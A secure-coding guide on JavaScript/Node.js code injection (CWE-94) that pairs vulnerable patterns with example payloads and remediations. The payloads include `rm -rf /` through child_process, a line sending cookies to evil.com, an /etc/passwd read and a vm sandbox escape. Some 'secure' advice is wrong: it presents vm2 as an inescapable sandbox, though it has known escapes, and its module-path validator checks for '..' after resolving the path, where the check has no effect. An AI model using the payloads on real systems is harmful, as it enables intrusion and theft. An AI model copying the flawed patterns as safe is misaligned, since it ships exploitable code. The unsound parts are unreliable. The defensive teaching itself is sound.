CWE-94: Improper Control of Generation of Code (Code Injection) - JavaScript/Node.js
Overview
Code injection in JavaScript/Node.js occurs when untrusted input is passed to code execution functions like eval(), Function(), setTimeout()/setInterval() with strings, vm.runInContext(), or template engines. This allows attackers to execute arbitrary JavaScript code with full access to the application's runtime, including file system (in Node.js), environment variables, modules, and all application logic. In browser contexts, code injection can steal user data, manipulate DOM, and perform actions as the authenticated user.
Primary Defence: Never use eval() or Function() constructor with user input; use safe alternatives like JSON.parse() for data deserialization, implement strict input validation with allowlists for any dynamic code evaluation, use sandboxed execution with vm2 library if code evaluation is absolutely necessary, and apply principle of least privilege to prevent arbitrary code execution and limit potential damage.
Common Vulnerable Patterns
eval() with User Input
// VULNERABLE - Direct eval of user input
function calculate(expression) {
const result = eval(expression); // NEVER DO THIS
return result;
}
// User input: "require('child_process').exec('rm -rf /')"
// In Node.js: Executes system commands!
// In browser: "document.location='http://evil.com?cookie='+document.cookie"
// Steals cookies!
Why this is vulnerable: eval() executes any JavaScript. Attacker can call functions, access globals, require modules (Node.js).
Function Constructor with User Input
// VULNERABLE - Function constructor creates executable code
function createValidator(userCode) {
const fn = new Function('input', userCode); // DANGEROUS
return fn;
}
// User input: "return require('fs').readFileSync('/etc/passwd', 'utf8')"
// Reads sensitive file in Node.js!
Why this is vulnerable: Function() constructor compiles and executes code like eval(). Same attack surface.
setTimeout/setInterval with String
// VULNERABLE - setTimeout with string executes as code
function scheduleTask(userTask) {
setTimeout(userTask, 1000); // If userTask is string - DANGEROUS
}
// User input (string): "require('child_process').exec('whoami')"
// Executes after 1 second!
// Also vulnerable
setInterval("userControlledCode", 5000); // DANGEROUS
Why this is vulnerable: When first argument is string, setTimeout/setInterval call eval() internally.
vm.runInContext Without Sandboxing
const vm = require('vm');
// VULNERABLE - vm without proper sandboxing
function executeUserCode(code) {
const context = { result: null };
vm.runInContext(code, vm.createContext(context)); // DANGEROUS
return context.result;
}
// User input: "this.constructor.constructor('return process')().mainModule.require('child_process').exec('whoami')"
// Escapes sandbox and executes system command!
Why this is vulnerable: Default vm context can be escaped. Attacker can access process, require, and other dangerous globals.
Template Literal Injection
// VULNERABLE - Template literal with user input in evaluation context
function generateCode(userInput) {
const template = `
function process(data) {
return data.${userInput};
}
`;
return eval(template); // DOUBLE VULNERABLE
}
// User input: "constructor.constructor('return process')().env"
// Accesses environment variables!
Why this is vulnerable: User input in template + eval = code injection. Can access object prototypes.
Express Handlebars Without Helpers Restriction
const exphbs = require('express-handlebars');
// VULNERABLE - Handlebars without helper allowlisting
app.engine('handlebars', exphbs());
// Template with user-controlled data:
// {{lookup this userInput}}
// User input: "constructor.constructor('return process')().env.API_KEY"
// Accesses environment variables!
Why this is vulnerable: Handlebars helpers can access JavaScript context. Without restrictions, can reach dangerous objects.
Dynamic require() with User Input
// VULNERABLE - User-controlled module loading
function loadPlugin(pluginName) {
const plugin = require(pluginName); // DANGEROUS
return plugin;
}
// User input: "child_process"
// Loads child_process module, can execute commands
// Also vulnerable with paths
const userPath = req.query.module; // "../../../malicious"
const mod = require(userPath); // Path traversal + code execution
Why this is vulnerable: Allows loading arbitrary modules. Attacker can load child_process, fs, custom malicious modules.
RegExp Constructor with User Input
// VULNERABLE - ReDoS + code injection via flags
function searchPattern(userPattern, userFlags) {
const regex = new RegExp(userPattern, userFlags); // Vulnerable to ReDoS
// If combined with eval somehow, also code injection
return regex.test(someText);
}
// User input pattern: "(a+)+" (ReDoS)
// User input flags with eval: "gi'); eval(maliciousCode); //"
Why this is vulnerable: While not direct code injection, can cause DoS. If flags concatenated into eval, becomes code injection.
Secure Patterns
SECURE: Math Expression Parser (math.js)
const math = require('mathjs');
// SECURE - Use dedicated math library with restricted scope
function safeCalculate(expression) {
try {
// Math.js parses mathematical expressions only
const result = math.evaluate(expression);
return result;
} catch (error) {
throw new Error('Invalid mathematical expression');
}
}
// Safe: safeCalculate("2 + 2 * 3") // 8
// Blocked: safeCalculate("require('fs')") // Math.js doesn't allow require
Why this works: math.js provides a sandboxed mathematical expression evaluator that only parses and evaluates math syntax (numbers, operators, functions like sin, sqrt, pow), not arbitrary JavaScript. Unlike eval() or Function(), which execute any code and can access require(), file system, process, and the full Node.js runtime, math.evaluate() restricts input to mathematical operations. The library's parser and evaluator are isolated from the JavaScript environment, so attempts to call require(), access global objects, or run arbitrary code throw errors. This prevents code injection when you need to evaluate user-provided formulas or calculations. Use math.js for calculators, spreadsheet-like features, or dynamic math; never use eval() for user input.
SECURE: JSON for Configuration (Not Code)
// SECURE - Use JSON configuration instead of executable code
function applyDiscount(price, ruleConfig) {
const rule = JSON.parse(ruleConfig);
// Declarative configuration
switch (rule.type) {
case 'percentage':
return price * (1 - rule.value / 100);
case 'fixed':
return price - rule.value;
case 'bulk':
return price >= rule.threshold ? price * (1 - rule.discount) : price;
default:
throw new Error('Unknown rule type');
}
}
// Safe configuration (JSON data, not code)
const config = '{"type": "percentage", "value": 10}';
const discounted = applyDiscount(100, config); // 90
// No code injection possible - only data
Why this works: Using JSON for configuration instead of executable code eliminates code injection risk entirely. JSON is a data-only format - it can only represent objects, arrays, strings, numbers, booleans, and null; it cannot contain functions, method calls, or executable statements. When you parse JSON with JSON.parse(), you get pure data structures, not code. The business logic (switch statement, calculations) lives in your trusted JavaScript code, while user input only supplies data values. This pattern is the gold standard for extensibility: let users configure behavior through data (rule types, thresholds, values), not by injecting arbitrary code. Even if an attacker controls ruleConfig, they can only set data fields, not execute commands or access the runtime. Use this pattern for plugins, pricing rules, workflows, and any feature where users customize behavior.
SECURE: setTimeout with Function Reference
// SECURE - Pass function reference, not string
function scheduleTask(callback, delay) {
if (typeof callback !== 'function') {
throw new Error('Callback must be a function');
}
setTimeout(callback, delay); // Safe - function reference
}
// Usage
scheduleTask(() => console.log('Task executed'), 1000);
// Blocked: scheduleTask("eval('malicious')", 1000) // Throws error
Why this works: Passing function references to setTimeout instead of strings prevents code injection because functions are already compiled and scoped - they cannot be altered by user input. When you call setTimeout(callback, delay) with a function, the JavaScript engine invokes that specific function object; there's no parsing or evaluation step where attacker-controlled code could be injected. The typeof callback !== 'function' check ensures only function objects are accepted, blocking the dangerous string form of setTimeout("code", delay) which would parse and execute the string as JavaScript. This pattern applies to all timer/callback APIs: use function references or arrow functions, never strings. If you must accept user-defined logic, use a sandboxed evaluator (vm2, math.js) or JSON-based configuration, not eval() or string-based setTimeout/setInterval.
SECURE: vm2 for Sandboxed Execution
const {VM} = require('vm2');
// SECURE - Use vm2 for properly sandboxed execution
function executeSandboxed(code) {
const vm = new VM({
timeout: 1000, // 1 second max
sandbox: {}, // Empty sandbox
// No access to require, process, or Node.js APIs
});
try {
const result = vm.run(code);
return result;
} catch (error) {
throw new Error('Execution error: ' + error.message);
}
}
// Safe: executeSandboxed("2 + 2") // 4
// Blocked: executeSandboxed("process.env") // ReferenceError: process is not defined
// Blocked: executeSandboxed("require('fs')") // require not available
Why this works: vm2 provides true sandboxing for Node.js code execution by creating an isolated JavaScript context with no access to the host environment. Unlike Node's built-in vm module (which has known escapes), vm2 prevents access to require(), process, global objects, file system, network, and other dangerous APIs. The sandbox runs with a timeout to prevent infinite loops and resource exhaustion. Even if an attacker provides malicious code, they cannot escape the sandbox to compromise the host system. The sandbox: {} option creates an empty global context, so code has no pre-loaded modules or globals. Use vm2 when you must execute user-provided JavaScript (e.g., custom scripts, automation, serverless functions) but need strict isolation. Combine with resource limits, input validation, and monitoring. For most use cases, prefer non-code solutions (JSON config, DSLs, allowlisted plugins) over executing arbitrary user code.
SECURE: Template Engine with Auto-Escaping
const Handlebars = require('handlebars');
// SECURE - Handlebars with safe helpers only
Handlebars.registerHelper('safe', function(value) {
// Only allow specific safe operations
return Handlebars.escapeExpression(value);
});
function renderTemplate(templateStr, data) {
const template = Handlebars.compile(templateStr);
// Auto-escapes by default, no code execution
return template(data);
}
// Usage
const html = renderTemplate('Hello {{name}}!', {name: 'Alice'}); // "Hello Alice!"
// Safe: User cannot execute code through templates
// {{constructor}} is escaped, not executed
Why this works: Handlebars auto-escapes output by default and restricts template logic to a safe subset, preventing code injection. When you use {{name}}, Handlebars escapes HTML entities; dangerous template expressions like {{constructor}} or property traversal attacks are rendered as text, not executed as code. Unlike eval()-based templating (Pug with unescaped mode, EJS <%-), Handlebars provides a declarative templating language with limited logic (if/else, loops) and no access to arbitrary JavaScript. Custom helpers must be explicitly registered, creating an allowlist of safe operations. This architecture prevents attackers from injecting code through template strings - they can only supply data. Use Handlebars (or similar safe engines: Mustache, Nunjucks with auto-escape) for user-editable templates. Register only necessary helpers, avoid SafeString on untrusted input, and prefer data-driven rendering over logic-heavy templates.
SECURE: Module Allowlist for Plugins
// SECURE - Allowlist allowed modules
const ALLOWED_MODULES = new Set([
'lodash',
'moment',
'axios'
]);
function loadModule(moduleName) {
if (!ALLOWED_MODULES.has(moduleName)) {
throw new Error(`Module "${moduleName}" not allowed`);
}
return require(moduleName);
}
// Safe: loadModule('lodash') // OK
// Blocked: loadModule('child_process') // Error thrown
// Blocked: loadModule('fs') // Error thrown
Why this works: Allowlisting modules prevents code injection via dynamic require() calls. When users can control which modules are loaded (e.g., plugin systems, configurable imports), an attacker could load dangerous built-ins (child_process, fs, vm) or malicious npm packages to execute arbitrary code. By checking moduleName against a Set of pre-approved, safe modules before calling require(), you ensure only trusted, reviewed libraries are accessible. This pattern is essential for plugin architectures where users specify modules to load. The allowlist should be small, well-audited, and stored server-side (never trust client input for module names). For even stronger isolation, load plugins in separate processes or containers. Combine with package integrity checks (lock files, SRI) to prevent supply-chain attacks where approved modules are compromised.
SECURE: Expression Validator with Allowlist
const acorn = require('acorn');
// SECURE - Parse and validate AST
function validateExpression(expr) {
try {
const ast = acorn.parseExpressionAt(expr, 0, {ecmaVersion: 2020});
// Allowlist allowed node types
const ALLOWED_TYPES = new Set([
'Literal', 'BinaryExpression', 'UnaryExpression',
'LogicalExpression', 'ArrayExpression', 'Identifier'
]);
function checkNode(node) {
if (!ALLOWED_TYPES.has(node.type)) {
throw new Error(`Forbidden node type: ${node.type}`);
}
// Recursively check child nodes
for (const key in node) {
const value = node[key];
if (value && typeof value === 'object') {
if (Array.isArray(value)) {
value.forEach(checkNode);
} else if (value.type) {
checkNode(value);
}
}
}
}
checkNode(ast);
return true;
} catch (error) {
throw new Error('Invalid expression: ' + error.message);
}
}
// Usage
validateExpression("10 + 5 * 2"); // OK
// validateExpression("require('fs')") // Error: Forbidden node type: CallExpression
Why this works: AST (Abstract Syntax Tree) validation parses user input into a syntax tree and checks it against an allowlist of safe node types before execution. The acorn parser converts the expression into structured nodes (Literal, BinaryExpression, etc.) without executing it. By walking the AST and rejecting dangerous node types (CallExpression for function calls, MemberExpression for property access, ImportExpression for imports), you prevent code injection even before evaluation. The allowlist includes only pure operations (literals, arithmetic, arrays), so attackers cannot call require(), eval(), access process, or execute arbitrary code. After validation passes, you can safely evaluate the AST or use it in a restricted interpreter. This is more robust than regex-based input validation, which attackers can bypass with encoding tricks. Use AST validation for calculators, query builders, or any feature where users provide expressions; never eval() unchecked strings.
SECURE: Content Security Policy (Browser)
// SECURE - CSP headers prevent inline script execution
const helmet = require('helmet');
const express = require('express');
const app = express();
// Set strict CSP
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // No 'unsafe-eval', no 'unsafe-inline'
objectSrc: ["'none'"],
baseUri: ["'self'"],
upgradeInsecureRequests: []
}
}));
// Even if code injection vulnerability exists, CSP blocks execution
Why this works: Content Security Policy (CSP) provides defense-in-depth by instructing the browser to block eval(), Function(), inline <script> tags, and inline event handlers, even if a code injection vulnerability exists. By setting scriptSrc: ["'self'"] (without 'unsafe-eval'), the browser refuses to execute dynamically generated code, mitigating the impact of injection flaws. CSP is a mitigation layer, not a fix - combine it with proper input validation and output encoding. The helmet middleware automatically sets CSP headers on all responses. In browser contexts, CSP blocks the execution mechanism; in Node.js, other controls (sandboxing, input validation) are needed since CSP doesn't apply server-side. Use strict CSP ('self', no 'unsafe-eval', no 'unsafe-inline') for all web apps; monitor report-uri to detect violations and refine the policy.
Key Security Functions
Safe Expression Evaluator
const acorn = require('acorn');
function safeEval(expr, context = {}) {
// Parse AST
const ast = acorn.parseExpressionAt(expr, 0, {ecmaVersion: 2020});
// Define allowed operations
const ALLOWED = new Set([
'Literal', 'BinaryExpression', 'UnaryExpression', 'Identifier'
]);
function evaluate(node) {
if (node.type === 'Literal') {
return node.value;
} else if (node.type === 'Identifier') {
if (!(node.name in context)) {
throw new Error(`Undefined variable: ${node.name}`);
}
return context[node.name];
} else if (node.type === 'BinaryExpression') {
const left = evaluate(node.left);
const right = evaluate(node.right);
switch (node.operator) {
case '+': return left + right;
case '-': return left - right;
case '*': return left * right;
case '/': return left / right;
case '%': return left % right;
default: throw new Error(`Unsupported operator: ${node.operator}`);
}
} else if (node.type === 'UnaryExpression') {
const arg = evaluate(node.argument);
switch (node.operator) {
case '-': return -arg;
case '+': return +arg;
default: throw new Error(`Unsupported operator: ${node.operator}`);
}
} else {
throw new Error(`Forbidden node type: ${node.type}`);
}
}
return evaluate(ast);
}
// Usage
const result = safeEval("x + y * 2", {x: 10, y: 5}); // 20
// safeEval("require('fs')") // Error: Forbidden node type: CallExpression
Module Loading Validator
const path = require('path');
function validateModulePath(modulePath, allowedPaths) {
// Resolve to absolute path
const resolved = path.resolve(modulePath);
// Check if within allowed paths
const isAllowed = allowedPaths.some(allowedPath => {
const resolvedAllowed = path.resolve(allowedPath);
return resolved.startsWith(resolvedAllowed);
});
if (!isAllowed) {
throw new Error('Module path not allowed');
}
// Prevent path traversal
if (resolved.includes('..')) {
throw new Error('Path traversal detected');
}
return resolved;
}
// Usage
const PLUGIN_DIR = './plugins';
const modulePath = validateModulePath(userInput, [PLUGIN_DIR]);
const plugin = require(modulePath);
Timeout Wrapper for Sandboxed Execution
function executeWithTimeout(code, timeout = 1000) {
return new Promise((resolve, reject) => {
const {VM} = require('vm2');
const vm = new VM({
timeout,
sandbox: {}
});
try {
const result = vm.run(code);
resolve(result);
} catch (error) {
reject(error);
}
});
}
// Usage with timeout
executeWithTimeout("2 + 2", 1000).then(result => {
console.log(result); // 4
}).catch(error => {
console.error('Execution error:', error.message);
});
// Infinite loop blocked
executeWithTimeout("while(true){}", 1000).catch(error => {
console.error('Timeout!'); // Script execution timed out
});
Verification
After implementing the recommended secure patterns, verify the fix through multiple approaches:
- Manual testing: Submit malicious payloads relevant to this vulnerability and confirm they're handled safely without executing unintended operations
- Code review: Confirm all instances use the secure pattern (parameterized queries, safe APIs, proper encoding) with no string concatenation or unsafe operations
- Static analysis: Use security scanners to verify no new vulnerabilities exist and the original finding is resolved
- Regression testing: Ensure legitimate user inputs and application workflows continue to function correctly
- Edge case validation: Test with special characters, boundary conditions, and unusual inputs to verify proper handling
- Framework verification: If using a framework or library, confirm the recommended APIs are used correctly according to documentation
- Authentication/session testing: Verify security controls remain effective and cannot be bypassed (if applicable to the vulnerability type)
- Rescan: Run the security scanner again to confirm the finding is resolved and no new issues were introduced
Analysis Steps
Locate the eval/Function Call
Trace Input Source
- HTTP query parameter?
req.query.expression - POST body?
req.body.code - WebSocket message?
ws.on('message', code => eval(code)) - Database? User-stored formulas
Assess Execution Context
- Node.js backend? (File system, process, network access)
- Browser frontend? (DOM, cookies, localStorage access)
- What privileges? (Database credentials in env vars?)
Determine Safe Alternative
- Mathematical expressions → Use
math.jsorexpr-eval - Configuration → Use JSON
- Business rules → Declarative config or rule engine
- User scripts → Use vm2 sandbox with strict timeout
Verification
After remediation:
- No
eval(),Function(),setTimeout(string)with user input - No
vm.runInContext()without vm2 sandbox - No dynamic
require()without allowlist - Templates use auto-escaping (Handlebars, EJS with
<%=) - CSP headers block unsafe-eval (browser)
- Scanner re-scan shows finding resolved
- Tested with code injection payloads (blocked)
Security Checklist
- Never use
eval()with user input - Never use
Function()constructor with user input - Never use
setTimeout/setIntervalwith string arguments - Never use
vm.runInContext()without vm2 - Never use dynamic
require()without allowlist - Use math.js or expr-eval for mathematical expressions
- Use JSON for configuration (not executable code)
- Use vm2 for sandboxed execution (if absolutely needed)
- Allowlist allowed modules for dynamic loading
- Use Content Security Policy in browser (no unsafe-eval)
- Validate input length and character set
- Use AST parsing (acorn) to verify safe expressions
- Run security scans (ESLint security plugin, NodeJSScan)